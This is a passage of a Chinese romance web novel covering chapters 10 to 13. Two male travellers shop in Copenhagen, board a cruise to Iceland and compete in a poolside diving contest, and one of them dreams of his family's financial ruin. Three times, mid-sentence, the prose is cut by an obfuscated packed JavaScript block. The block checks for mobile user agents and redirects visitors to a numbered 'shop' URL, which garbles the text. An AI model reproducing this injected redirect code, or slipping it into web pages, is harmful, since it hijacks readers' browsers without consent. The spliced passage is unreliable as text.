节奏很熟悉,往前走几步,陆朝深才发现他们唱的歌是生日快乐,一群人走着走着,把一个小男孩儿围在中间。陆朝深突然福至心灵,看向麦朗:“一起去看看。” 麦朗也点点头,两人悄悄地加入,拍着手,打着节拍,一个两个,越来越多的人靠过来,把那个人围在了中间。 在异国他乡,不同的语言,不同的肤色和人种,唱着同样熟悉的旋律,带着同样真挚的情感。 “Happy Birthday To You~” 直到走进城市,大家才慢慢散去。 “那个小男孩儿一定会很开心。”麦朗说。 “是啊,”陆朝深也跟着一起开心,语气甚至有些激动,“我们接下来去哪。” “去看小美人鱼吧。” 麦朗本来是不太想去的,但是在皇家鹿苑问陆朝深的时候,对方好像并没有表示不想。 很明显,陆朝深看过小美人鱼的童话。 麦朗:“要不给你给我讲讲小美人鱼的故事?” “没问题,不过我看的版本不一定就是对的哈。” 陆朝深回忆了一下,说道:“故事讲的是一位生活在海洋中的小美人鱼,她很向往人类的世界。 “一次偶然,她爱上了一位英俊的王子。为了和王子在一起,她与海巫婆达成交易,用嗓音换取了人类的双腿。” 很美好的开局。 麦朗猜测:“然后他们就在一起了。” 陆朝深摇了摇头。 “王子并没有意识到她的牺牲,爱上了别人。故事的最后,小美人鱼无法承受失落,化为海上的泡沫。” “这是童话?”麦朗表示很吃惊,“偷星九月天起码最后的结局看得过去。” “哈哈哈对啊,”陆朝深说,“所以我才想来看看。” 陆朝深看向那个聚集了很多人的海边。 “这次她没有化成泡沫,变成了一座雕像,在海边守护着丹麦小小的海域。” 在海边的一个石头上,小美人鱼的雕像就跪坐在上面。 雕像很小一个,和她的名字非常符合。 在童话中,小美人鱼的歌喉十分动听。如今这座雕像应该在没人的时候默默地唱过歌,这样,数不尽的人才会从世界各地来看她。 远方传来一阵低沉的引擎的轰鸣声,麦朗放眼望去,说道:“那个好像就是去往冰岛的游轮。” “要坐这个去冰岛吗?” “我是有这个打算的,”麦朗说,“飞机都坐过很多遍了,我想体验一下新的。” 陆朝深瞬间想起来很多部自己曾经看过的电影和小说,什么恐怖游轮啊游轮逃杀密室啊之流:“游轮安全吗?” “你放心吧,肯定很安全。”麦朗说,“当然了,决定权在你手上。” 说着又想到了什么,麦朗抬手秀了一下手臂的肌肉:“我保护你也行。” 陆朝深猜麦朗肯定想说“我罩着你”,却说成了“我保护你”这样只有情侣之间会说的有点肉麻的话。 陆朝深没忍住笑了一下。 “好,你保护我。” 11. 内裤 从丹麦的哥本哈根到冰岛的雷克雅未克,大多数人都会选择乘坐飞机去,很少有人知道,如果稍微蹲一下seacan的旅游官网,运气好就能捡漏坐游轮去冰岛的票。 从皇家鹿苑回去之后,麦朗抢到了最近一班的船票。 趁着还能在丹麦待几天,陆朝深提议去趟赫尔辛格和安徒生的故乡欧塞登。 麦朗打了预防针:“这两个地方其实差不多。” 但陆朝深还依然抱有一丝期待。 “我还是想去看看。” 后来真的如麦朗所说,连续看了好几天的古堡教堂欧式建筑,已经彻底审美疲劳。要不是为了那点素材,好几次陆朝深都困得想直接回去睡觉。 游轮靠岸的前一天,两个人都慢慢地走在回民宿的路上,今晚是他们在丹麦停留的最后一晚。 丹麦的夏天也本应该是多雨的,盛行了一整年的西风暂时变得温柔,直到现在才终于积了一点云。 傍晚,一半是暖橙色的天空,一半是薄薄的灰紫色云层。 陆朝深取下戴在脖子上的相机,脑袋转了转,活动了一下有些酸痛的脖子。 麦朗很自觉地从陆朝深手上接过相机,把沉甸甸的一大个放进包里,挂在了自己的脖子上:“我帮你揉揉。” 后颈被一只宽大的手掌覆盖住,麦朗的力度很轻,几根手指并用,陆朝深也不知道是按的哪个穴位,酥酥麻麻的感觉蔓延到了整个背部。 陆朝深开玩笑说:“还挺舒服的,以前当过按摩的啊。” “自己在网上学了一点。” 麦朗看按得差不多了,收回了手。 不得不说,这两下还真有点用,陆朝深伸展了一下,比了个大拇指,脱口而出:“天赋异禀。” 一听到那四个字,麦朗差点被自己的口水抢到。 天赋异禀? 天色暗淡,麦朗满脑子都是那期海边游泳的视频底下群魔乱舞的评论区,弹幕里清一色的天赋异禀四个大字。 到底是什么天赋,是个人都能看得出来。 说起来也有点尴尬,陆朝深做过关于他的视频调研,不可能没看到过评论区里那些赤裸裸的留言,这一点麦朗心知肚明,但陆朝深一直以来都没有讲过这些事情,最多评价过自己很性感。 麦朗又不想删掉粉丝的评论,每次看到又会捂着脸,羞耻心爆棚。 不知道是因为羞耻还是不太愿意承认自己的大部分粉丝都是看身材的,麦朗的呼吸突然有些急促,他悄悄地往旁边看了看,见陆朝深脸上好像没有什么其他的表情,心里松了口气。 认真想了想,陆朝深刚刚应该就是真的在夸他而已,并不是打趣他。 但就算打趣又怎么样呢?每个男人都有东西。 想着想着,麦朗把自己说服了,趁着路灯灯光照在自己的脸上之前,恢复正常。 长长的街头逐渐收窄,转角之后,路过一家大型超市。 超市里的人不少,陆朝深看向比自己还高了半个头的麦朗,问:“你要不要去买点什么东西?” 麦朗:“买什么?” “零食之类的呗。”陆朝深说,“明天不是要去游轮上了吗?” 以往只要是出去玩,不管远近,陆朝深都会拖着弟弟妹妹们去超市里搜刮一些吃的,出发的时候,所有人的包里都会鼓鼓囊囊地装满零食和饮料,大家都心满意足。 麦朗本想说游轮上什么都有的,但又想和陆朝深多逛逛,改口说:“可以啊,去买一点本地的零食,虽然那上面吃的都有,但也以防万一在游轮上吃腻了想换换口味。” 超市还有会儿就关门了,进去之后,陆朝深刚想把购物车推出来,却被麦朗抢先一步。 “你想吃什么就拿,我请你,”麦朗推着购物车,两只手撑着购物车两边的边缘,整个人双脚离地,“这家超市算是哥本哈根最大的超市了,零食种类很多。” 麦朗推着购物车玩得开心,陆朝深收回了手,以前进超市都是他推车地,现在不推车还有些不习惯, 超市的品种比不上国内的丰富,大多数包装上的品牌他都不认识,只能通过上面各式各样的插画识别出到底是个什么玩意。 麦朗跟在旁边,拿起一个黄色包装的小零食,陆朝深也拿了一个起来看看。 “sweet…salty….popcorn?”陆朝深小声念了一遍:“爆米花?看起来不错。” 麦朗:“有品味。” “这个饼干也还行,就是稍微有点甜。”麦朗指着一包淡蓝色包装的曲奇:“你习惯吃甜食吗?” “以前喜欢吃,现在不怎么吃了,但也可以尝一尝。” “那你平时吃喜欢吃什么零食?你别告诉我不吃你不吃啊。” 陆朝深想了一下,这个问题还真把他难住了。在成都的时候他经常给弟弟妹妹送吃的,每个人喜欢的种类都不一样,陆朝深懒得记,就把每个人喜欢的零食种类都记在了备忘录里。 看着各种五花八门的种类,陆朝深选了半天也选不出来。 他自己的话,好像....没有太多特别想吃的。 反观麦朗,路过零食架就是一副很有主见的样子,每次都能精准地拿到自己想要的,绝对不会在挑选上面浪费时间,还能顺道给陆朝深安利一下。 陆朝深灵光一闪,绕过麦朗的脖子,把相机取了下来。 “你接着说。” 麦朗秒懂,假装相机不存在,自顾自地在旁边说,陆朝深也当镜头不存在,手架在腰上,更加随意了一点。 非常生活化的vlog。 路过生活区的时候,陆朝深看到货架上的一次性内裤,在“L号”和“M”号里面短暂地纠结了一下,还是拿了L号。 麦朗:“为什么要买一次性内裤?” 陆朝深:“出来旅游懒得天天洗。” 麦朗看了眼那个L号,觉得陆朝深说的好像也有道理,也顺手拿了一个L号的。 陆朝深脱口而出:“你穿这个会不会有点紧?” ....... 说完,两人一前一后瞬间石化。 麦朗的耳根烧红一大片,这次连陆朝深自己也察觉到了什么,尴尬地摸了摸鼻子,为自己找补道:“我看上面写的,身高185穿XL比较合适。” 麦朗视线乱飘,最后只能往下扯了一下自己的上衣。 “好。” 麦朗的脸色还算正常,有些僵硬地拿了一包最大号的一次性内裤,按照陆朝深说的,他的身高是189,穿XXL才行。 一阵诡异的沉默,陆朝深咳了一声,去冰柜拿了一个冰淇淋:“吃吗?” 麦朗点了点头:“可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150224|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 然后又没说话了。 陆朝深对天发誓,刚刚那句话真的纯属无心。 绝不是在含沙射影地内涵麦朗身上的某个部件。 麦朗比他小个六岁,脸上的害羞情绪遮不住,但陆朝深不一样,就算意识到了也只能硬着头皮装懵。 好在对方也不是那么矫情,陆朝深主动抛了几个话题后很快恢复了正常,又开始有来有回地说。 逛了一会儿,两人聊到最近微博上一对很火的明星情侣,麦朗突然问:“哥,我能问个比较隐私的问题吗?” 陆朝深被这一声突如其来的哥喊得爽爽的,立即停止录像:“你说。” 麦朗:“你有对象吗?” 陆朝深意味深长地看着他:“你看我像有对象的吗?” “像,”麦朗说完又继续问,“那你以前谈过吗?” 陆朝深:“学生时代的算吗?” 麦朗:“当然不算。” 陆朝深:“那就没有了。怎么突然想起问这个,想谈恋爱了?” 麦朗心跳漏了一拍,又笑了笑:“好奇而已。” 这一下笑得很顽皮,陆朝深伸手摸了摸麦朗的后颈:“你呢?谈过的女朋友应该都可以在操场上围两圈了吧。” 麦朗捂着胸口故作心疼:“哥,你怎么能这么想我。” 陆朝深:“我没别的意思,夸你长得帅性格好。” “好吧,但我真没谈过恋爱。” 从小到大,麦朗的情书表白确实没断过,在美国上高中的时候,各种肤色各种性别都有,但他是真的很忙。 忙到没有任何时间和精力谈恋爱。 麦朗刚想继续为自己解释两句,陆朝深只是“哦”了一声。 麦朗:“你不质疑我吗?” 陆朝深:“有什么好质疑的,你说没谈过就没谈过呗,你看起来又不是那种会故意哄骗人的人。” 其实事实恰好相反,麦朗看起来就是那种风流的美国小卷毛,但是稍微一接触就会发现除了外表其他完全不沾边。 来来回回有逛了半个小时,等到超市快没人了,两人才慢慢悠悠地晃出门。 麦朗手里提着两大包零食,手臂一用力,肌肉把衣服的袖口撑成了一个很饱满的圆,脖子上还挂着一个相机,陆朝深就只帮负责背了一个轻飘飘的背包。 陆朝深于心不忍:“我提一袋吧。” “没事,我来。” 陆朝深硬要去提一袋,麦朗突然像只兔子一样跳开。 “唉别这么客气嘛,”麦朗说的时候就完全像一个小孩儿,说撒娇不算,说顽劣也不算,更像是调皮,“我们虽然认识不久,但接下来还要一起去冰岛,太客气了我会不习惯的。” “我力气大,这种体力活就我来干呗。” 类似的话麦朗已经在这几天说过不下八次了,每次陆朝深都要抢着包揽完除了旅游攻略方面各种事。 陆朝深拿他没办法,只好放手,任凭白色的塑料手提带勒红麦朗的手指,手上的血管微微凸起。 其实也并不是他想客气什么的,只是有些事情已经习惯性地刻在骨子里,家里每次干什么东西都是他来做,也只能他来做。 持续了八年的肌肉记忆,他下意识地把身边的人都当成了需要照顾的弟弟妹妹, 包括麦朗。 12. 雪天 这是一个寒冷漫长的雪夜。 雪花落在身上很快就化成水珠,浸入衣服里,面前的路一眼望不到尽头,天空褪去了所有的蓝色,变成了一个无底的黑色坑洞。 路灯要亮不亮,时不时突然闪两下,像是随时快要断气了的病人,嘶哑地扯着灯管。 陆朝深一手拉着陆芷,一手揽着一言不发的陆安迪。 四周除了呼啸的风,刮在脸上生疼,听起来就很破旧的行李箱轮子发出滚动的声音,感觉随时都要散架,然后爆一地的衣服和被褥。 从远处看,一家七口正在市郊之外的小路上慢慢地挪动。 “爸爸,我们还有多久到啊。”陆半夏趴在陆谦的背上,小声地嘀咕。 陆谦沉默了一会儿,把陆半夏头上的针织帽扯了扯。 “我们...还有几分钟就到了。” 一句只有小孩才会听的废话。 声音从前面传来,陆朝深抬头,看向陆半夏,无声地做了一个鬼脸。 陆半夏笑着,伸手想要指着陆朝深,肩膀却被一只大手按了按。 “不要动。” 陆半夏又缩了回去。 他们新租的房子在一个坡上。 凌晨一点,陆谦开车带着一家人搬家,下了三环以后有一条小路,入口被一辆皮卡给堵住了。陆谦想打电话问问车主,但四下无人,又是深更半夜,无奈之下只能拖家带口,搬着行李走完最后一段距离。 陆朝深轻轻握了握陆安迪有些冰凉的手:“冷吗?” 陆安迪摇了摇头。 陆朝深又转头问陆芷:“你呢?” 陆芷吐出一口白雾,勉强挤出一个笑容:“没事哥,我不冷,你的手很暖和。” 陆朝深扯了下嘴角。 说完又安静了下来,要是有人路过的话肯定会很奇怪,不知道还以为这一家子发生了什么事故,像逃难一样。 一家人心照不宣,安安静静地走了好久,终于在一栋老旧的独栋居民楼停下了。 二楼的防盗窗已经完全生锈,斑驳的墙壁已经掉了很多白漆,露出粗糙的墙面。 顶楼阳台的晾衣服的架子被风吹得吱呀吱呀响,在无声的沉默里显得特别刺耳,还有几盆盆栽,早已枯死的植株,躺在里面摇摇欲坠。 一家人很有默契,在门口待了很久都没进去。 陆朝深心态要乐观一点,他觉得还好,独栋的,和别墅差不了多少,就只是硬件稍微差了一点。 陆谦脸上尽显疲惫,不知道是不是错觉,他的脸上一夜之间多了很多道皱纹。 “都进去吧。” “被子那些送来了吗?”齐颜诗问。 陆谦看了一眼睡着了的陆半夏:“到了,但是床铺那些还得我们自己来弄。” 闻言又是一阵唉声叹气。 平时家里的床单换洗,衣物整理什么的,全都是保姆来做,这场突如其来的变故把所有人都打蒙了。 不论是弟弟妹妹还是爸妈,都还没从梦里醒过来。 陆朝深揉了揉眼睛,哈欠不止。 好困。 所有人都心力憔悴。 陆朝深径直走过来,接过齐颜诗手上的行李:“妈,你把东西给我吧,我去把房间收拾了。” 他上过寄宿制学校,这个时候只能让他来了。 总得有个人把其他人拖着走, 齐颜诗点点头,有气无力地把箱子推了出去,拉起陆安迪就上了楼。 上去之后,陆谦叹了口气。 “朝深,”陆谦突然开口,“你妈妈现在心情很不好,楼上有三个房间,今晚我们爷俩挤一挤吧,小雅和小芷睡一个房间,半夏和安迪和妈妈睡。” “好。” 没有什么能比现在更差。 房子是齐颜诗找朋友临时借的,大家都觉得这只是暂时的事情。但只有陆朝深知道,妈妈一口气往里垫了一年的房租。 他们要一直生活在这里了。 房子看起来已经很多年都没住过人,在地上走两步都会激起灰尘,到处乱飞,陆朝深提前给弟弟妹妹们戴好了口罩,床铺一时半会儿弄不完,陆安迪和陆半夏就先挤在沙发上睡在一起。 收拾完爸妈的房间,陆朝深确认了一下盖在弟弟们身上的毯子没有滑落,又开始打扫陆雅陆芷的房间。 刚一进门,隔壁就传来一阵翻箱倒柜和打骂的声音。 歇斯底里,溃如决堤。 “我早就说过了让你不要投钱进去!不要投钱进去!!!你为什么就不是不听我的!!你为什么啊!!” “谁知道会发生这样的事情?事到如今我还能怎么样?” “你还能怎样?我们现在就只能住在这里,你忍心吗?你对得起谁?齐家的产业全被你败光了!!” “你以为我想吗?齐颜诗,我警告你不要太过分了!” ... 后面又是尖叫推搡骂人的声音,突如其来的动静把陆朝深惊得心脏抽痛,沙发上的陆半夏被吓醒开始大哭,陆安迪捂住了耳朵,陆朝深连忙把安迪和陆半夏抱进陆雅和陆芷的房间。 又开始吵了。 过去的记忆里,父母从来没有吵过架,一家人永远温馨,永远和和睦睦,但在一夜之间全变了。 老房子的隔音效果远远没有之前的别墅好,尖锐的争吵声无比清晰地透过墙壁,“抚养权”和“离婚”之类的字眼,刺进了每个人的耳膜和心室。 陆朝深关好了门,靠在墙边,抱着抽泣的陆半夏坐在地上,地板是冰冷的,陆朝深看了看被吓得不敢发声的陆雅和陆芷,向她们招了招手。 五个人就那样靠在了一起,依偎在陆朝深身旁,一句话也没说。 谁知道呢? 谁知道明天会发生什么呢? 这个家突然露出了腐坏的框架,要倒不倒,旁人稍微推一下就会散落一地。 每个人都在害怕。 陆朝深的手不是很长,刚好盖住了弟弟妹妹们的肩膀。 “没事的,”陆朝深已经累得说不出话了,但还是不断重复安慰着,“哥哥在,会没事的。” 眼睛里突然出现了许多重影,陆朝深望着天花板,四周突然不断迸发出嘈杂的声音。 陆朝深集中注意力,努力地去识别这声音到底是什么。 滴滴…….滴滴……. - 睡意朦胧,陆朝深慢慢地睁开眼,床头的手机不断发出震动,麦朗走过来帮他按掉了闹钟。 身下不是冰冷的地板,被褥柔软舒适,床边就是巨大的玻璃窗,一眼就能看到无垠的大海。 白色的鸥鸟会时不时停在围栏上,羽毛洁白又干净,路过的人往手里撒点面包屑,在外围边吹海风边聊天。 陆朝深好像还能听见笑声。 意识回流,陆朝深逐渐清醒,原来他已经在游轮上了,正在去往冰岛。 原来不是冬天。 原来是梦。 . “哥,”麦朗轻轻喊了他一声,伸手递了一个东西,“你的身份证。” “谢谢。” 陆朝深接过身份证,缓了一会儿,这才反应过来为什么麦朗最近改口叫他哥了。 当时说了要订票之后,陆朝深就把身份证给了麦朗,这小子肯定是看了自己身份证上的出生日期。 陆朝深戳了戳麦朗手臂上硬邦邦的肌肉,下了床。 麦朗顺便也把床头柜上的手机递给他:“1点27?定闹钟的方式还挺特别的,我还以为两点了。” 他以前定的闹钟也是整点,但是每次都起不来,后来尝试着网上的法子,不定整点,选一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150225|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺眼的时间。 效果虽然也不是特别好,陆朝深每次起床还是都想把手机砸烂,但好在怨气没有那么大了,每次逼一逼自己,还是能咬牙起来。 “整点我一般都起不来,”陆朝深说:“就好比做出了一个特别的选择,这个时间点是独特的,你选择了它,就要对它负责。” “哦~”麦朗一副恍然大悟的样子。 陆朝深喝了两口咖啡,其实他还想说, 1.27,是陆安迪的生日。 - 上午11点登船,陆朝深早上没喝咖啡,进去之后逛了不到五分钟就有点困了,想回房间睡一会儿,结果一看才知道是大床房。 麦朗挠了挠耳朵:“我搞忘给你说了,手速太慢只有这个了。” 陆朝深是不介意和麦朗一起睡的,两个男人,多拿一套被子就解决了。 倒是不知道麦朗心里在想什么,平时连几乎等于没穿的宽松背心都敢穿,现在换个衣服都要躲躲藏藏。 换个泳裤更是,还要跑到厕所里去换。 陆朝深敲了敲厕所半透明的玻璃门:“好了吗?” “马上!” June snow是他们所在邮轮的名字,中文又名“六月飞雪”,整个游轮很大,陆朝深在哥本哈根港口见到这个庞然大物的时候被震惊了,除了大,他想不到什么其他的形容词。 听麦朗说,游轮上几乎什么都有,各种饮食类的就不说了,还有健身房,酒吧,电影院,攀岩墙,图书馆,商场超市,中心处是一个巨大的水上乐园,说是在船上造了一个小的城镇也不夸张。 启航的第一天,水上乐园开了一个派对,陆朝深心血来潮,打算去玩一玩。 之前从不拒绝陆朝深提议的麦朗却突然犹豫了。 陆朝深一眼看穿,带着麦朗去买了一件全新的泳衣和一条防尴尬的泳裤。 “这样可以吗?” 麦朗出来的时候往下瞄了一眼。 “放心吧,”陆朝深想笑又忍得辛苦,“全身都遮完了,看不出来。” 泳裤的外层是很宽松的涤纶布料,两条绳子耷拉在两侧,陆朝深下意识地伸手把麦朗的裤带系紧。 手指不经意地误触到了对方紧实的小腹,麦朗稳稳地倒吸一口气,想退后又忍住了,只好瞬间收紧。 麦朗上半身虽然穿了一套泳衣,但肌肉的轮廓还是清晰可见。 不过比起之前好太多了。 出了房间,游轮的中央受到太阳的直射,陆朝深还是抹了点防晒,今天除了去感受一下派对的氛围,他还打算拍一个不一样的视频。 比起坐飞机周转五国,游轮的性价比极高,历时七天,中途会在丹麦和挪威停留,白天的时间可以去首都一日游,晚上就在游轮享受。 整个过程都非常有攻略意义,陆朝深也想着把这一部分的视频也将做成一个单独的系列。 泳池边,陆朝深先录了一些麦朗还没下水的视频,把相机先暂时放到储物柜里。 陆朝深:“待会儿你介不介意把泳衣脱了?” 麦朗舌头顶了顶脸颊窝,没有直接说介意还是不介意。 想了半天,憋了一句:“我听哥的。” 说介意肯定不算,就算是在所有人面前展示一下身材都无所谓,只是不知道为什么,被陆朝深看到就稍微会有那么有点不好意思。 但如果陆朝深想让他脱,为了完成视频指标,也不是不行。 陆朝深拍了拍他的肩膀:“你要是实在不想也没关系。” 这句话发自内心,露点肉肯定会多流量,但麦朗不愿意,他也会另外想办法。 麦朗眉眼一弯,看着他,一只手放在了自己的胸前的拉链,丝毫没有刚才那种不好意思的感觉。 “你说不穿,我就可以不穿。” 13. 泡泡 纠结了一下,陆朝深还是没让麦朗脱掉泳衣,就是不知道他穿着会不会有些热。 水上乐园这个名称乍一听还挺有意思,但其实去了才知道,压根没什么特别的娱乐设施。 整个园区由大大小小的几个泳池组装到一起,大人在方形的深泳池里游泳,小孩儿就在边上的几个小水坑里漂着,身上套着形态各异颜色斑斓的游泳圈,也不知道算不算在游,小手小脚扑棱几下,嬉戏打闹,水花绽开。 岸上有很多人躺在沙滩椅上晒太阳,周围萦绕着节奏舒缓的爵士乐,音量适中,不吵不闹,一整个心旷神怡。 阳光落在皮肤上很暖和,但泳池的水是清凉的,陆朝深带了一个防水的小型相机,刚下去的时候止不住吸了口气。 在水里晃荡了两下,眼底的波纹之下突然窜出一道黑色的身影。 下一秒,麦朗突然冒出水面,水花四溅,泼了陆朝深一脸的水。 “哈哈哈哈哈哈哈哈哈。” 岸上也传来一阵很小声的笑声,陆朝深抹了把脸,刚想拍一下水面反击回去,结果麦朗又钻进了水里。 周边的人就看着这两个一米八好几的人从泳池这边追到那边,最后陆朝深把麦朗堵在角落里,直接上手薅了一把。 “哥我错了,我错了,我错了。”麦朗像条虫子一样扭来扭去,捂着腰边的痒痒肉,被迫在泳池边游走,笑着说,“哥我真的错了,别弄了别弄了。” 陆朝深这才停手,打趣他:“我服了,多大了啊你,和小学生一样。” 麦朗把泳镜推到额头上,“玩个水而已嘛。” 陆朝深:“那我挠你痒痒也算玩。” “换个方式换个方式。”麦朗看了眼陆朝深脖子上的小相机,“还要拍素材吗?” 一颗水珠顺着麦朗的下颚滑到突出的喉结处,停留了一会儿,又掉到泳衣上消失。 陆朝深嗯了一声,拿起相机瞬间按下快门。 趁着拍照,麦朗突然从水里捧了一手的水。 陆朝深抬起眼眸:“还想来?” “不是不是,我想问你一个问题。”麦朗笑得手里的水被抖出来了一些,“你猜猜,这里一共有几片海洋?” 这个问题问得很突然,甚至有点莫名其妙,陆朝深看着水慢慢地从麦朗指缝中流失,想了片刻。 麦朗看对方好像真的在思考,补了一句:“如果实在猜不出来的话,我可以给你一个提示。” “很简单啊,有...” 陆朝深刚想说有三片,结果注意到了麦朗被沾湿了的睫毛,还有那双深蓝色的瞳孔。 “四片。”陆朝深说。 麦朗问:“哪四片?” “游轮下的大西洋,是第一片海,我们所在的泳池,是第二片海,你手中的一捧水,算是第三片海。” “对啊对啊,我的答案就是这仨。”麦朗把手抬了抬,“你说的第四片海是什么呢?” 陆朝深的视线从麦朗的眼睛移开,没回答,一只手也像麦朗那样做成瓢状,从泳池里舀了一点,放在了麦朗的双手之上。 “这是第四片。” 陆朝深说完又把水倒进麦朗的手里,水再流进泳池。 刚才他看向麦朗的眼睛的时候,是有那么一瞬间的愣神的。过去一周多的时间里,他不止一次在心里感叹麦朗的瞳色太惊艳了,也许是今天在水中泡了一会儿,那一抹深蓝被池中的光影衬得透亮又清澈。 陆朝深自认为自己是一个很合格,很标准的大人,但脑子里常常又会有一些很天马行空的想法,麦朗的眼睛怎么不能算第四片海? 不过感觉说出来好像又有一点奇怪和肉麻,所以只能开开脑洞,给自己圆一圆场。 麦朗的身体缓缓下沉,只露出一个脑袋。 在完全没入水中之前,说了一句:“是啊,我怎么没想到。” 水底下一阵咕咕噜噜声,一连串气泡不断往上翻,陆朝深也跟着沉下去一大半,留了嘴巴呼吸。 像是突然想到了什么,陆朝深的手在水下摸索了一会儿,摸到了麦朗的后脑勺。 确保镜头能有麦朗水下模糊的影子之后,陆朝深拿着相机离得很近,拍了张自拍。 - 下午四点,水上乐园的活动正式开始,陆朝深在沙滩椅上躺了一会儿,工作人员推了一个用于抽奖的大轮盘到中间,然后开始说活动规则。 工作人员说着一口伦敦腔,陆朝深听得断断续续,最后问了一下麦朗,了解了一个大概。 陆朝深冲麦朗摇了摇头:“这不是我的领域了。” 今天的活动是举行一场跳水比赛,不过不是比谁跳得好,而是比谁入水时的水花更大。由于男女在体型和体重上存在一定的差距,所以比赛分为男女两组,年龄不限。 比赛听起来还不错,最关键的是比赛奖励,“六月飞雪”号在船舱最顶部设立了一个直升机停机点,而比赛的前三名能够分别获得不等量的抽奖机会,要是能抽到轮盘上那窄窄的一格,就能免费体验一次坐直升飞机的机会,在高空中俯瞰大海。 在泳池里扑腾了两个小时,陆朝深累得筋疲力尽,躺在沙滩椅上看手机,麦朗不知道什么时候去拿了一盘水果,坐在旁边剥橘子吃。 陆朝深躺着问:“你要参加不。” 麦朗掰开一半橘子,递到陆朝深嘴边:“你想坐直升飞机?” 陆朝深用手接过,再分了一半,“我是觉得你这个体型要是参加这个比赛,肯定能拿到名次,万一能抽到呢?不要白不要。” 工作人员组织着在泳池两边架好了临时跳板,陆陆续续有人排起了队,麦朗往嘴里塞了一块西瓜,拍了拍手,起身把上半身的泳衣脱了,扔在陆朝深脚边。 走之前还冲陆朝深挑了挑眉。 “等着。” ? 小孩就是小孩。 陆朝深没忍住低声笑了一下,这是在耍酷? 麦朗去参赛,陆朝深也不能光看着,立马从储物柜里把专业相机拿了出来。 胸前的小相机肯定是不够用的。 不远处,每个人参赛选手的手臂上都贴了一张号码,麦朗是三号。 一声哨响,比赛开始。 比赛要比谁造的水花更大,体型,与水面的接触面积,起跳高度和落水速度,每一样都很重要。陆朝深看了一眼,参赛人员都是一些重量级选手,个个膀大腰圆虎背熊腰,对比起来,麦朗真的格外的出挑。 这样的人难免成为了场目光的焦点,虽然这样说有些夸张,但是是事实,麦朗站在跳板上的时候,欢呼声明显大声很多。 耳尖的还能听见几声调戏的口哨。 陆朝深这边早已选好了角度,为了添加一些节目效果,他在相机后面把声音夹了一下,换了一副解说播音腔。 “尊敬的观众朋友们,大家下午好,您现在收看的是‘谁跳水跳的水花最大‘的比赛现场。” “接下来是我们的三号选手麦朗登场,不得不说这位麦朗选手的身材很好啊,麦朗选手看起来胸有成竹,他会给我们带来怎样的表现呢?让我们拭目以待。” “好了,麦朗选手要起跳了,喔噢,这一下跳得非常高,麦朗选手飞了出去,还很聪明地把身体展开成了一个大字!” 幸好身边没有中国人,不然陆朝深真的想原地打洞消失.... 嘭的一声,池中顿时翻腾起一阵巨大的水花,陆朝深下意识地往后退了一步。 一阵欢呼声中,陆朝深立刻找到了出水后的麦朗。 “实在是太精彩了,看麦朗选手的表情好像对自己的表现很满意啊,他正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150226|150299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向我们走来,我们现在去采访一下。” 麦朗走过来,陆朝深没出镜,伸出手举着一个空气话筒,问:“麦朗选手,请问你觉得你刚才的表现如何?” 麦朗先是愣了两秒,然后故作深沉地说:“我觉得我的表现没让大家失望。” 表情认真又严肃,给人一种真的从赛场上下来的错觉。 所有选手跳完之后,进入投票阶段,每个人手上有两张票,需要投给不同的人。 陆朝深投了一张给麦朗,还有一票给了一个黑人胖大叔。 麦朗的水花确实很大,但是终究还是不算是最大的,那个黑人胖大叔让陆朝深印象非常深刻,跳下去之后水滴漫天飞,几秒之间,像是下了一阵大雨,无疑是冠军。 简单的统计之后,投票结果出炉,意料之中,黑人胖大叔是冠军,麦朗排在了第二。 第一名有三次转轮盘机会,第二名有两次,黑人胖大叔先自己转了两次,没抽到,然后拉着自己的女儿上台,小女孩轻轻一转,指针指到了大奖的边缘。 陆朝深心里浅浅吐槽,直升飞机那一栏实在是太窄了。 小女孩的神情有些失落,但是工作人员还是送了她一个巨大的公仔。 该麦朗抽了,人一上台底下又是掌声又是返祖现场,麦朗站在人群中间,看向了陆朝深。 视线装了个满怀,麦朗招了招手。 人群的目光也跟随麦朗转移到陆朝深身上,陆朝深表情诧异,指了指自己:我? 麦朗很坚定地点了点头。 - 最后的结果是陆朝深两次也没抽到。 晚上的月亮格外地圆,原本漆黑一片的大海被罩上了一层银白的光辉,波光微闪,陆朝深洗完澡,被麦朗拉到甲板上吹海风。 海浪抱了船身一下又一下,声音很助眠。 一句话也没有。 麦朗憋不住,轻轻摇了一下陆朝深:“哥你说说话呗,还在想抽奖的事啊,虽然我们没拿到大奖,但是你抽到了6折券啊。” 陆朝深编辑拿着平板编辑着今天的照片,声音稍微有点闷闷的,但不仔细听也听不出来:“早知道让你来抽了,不应该两次全让我抽的。” 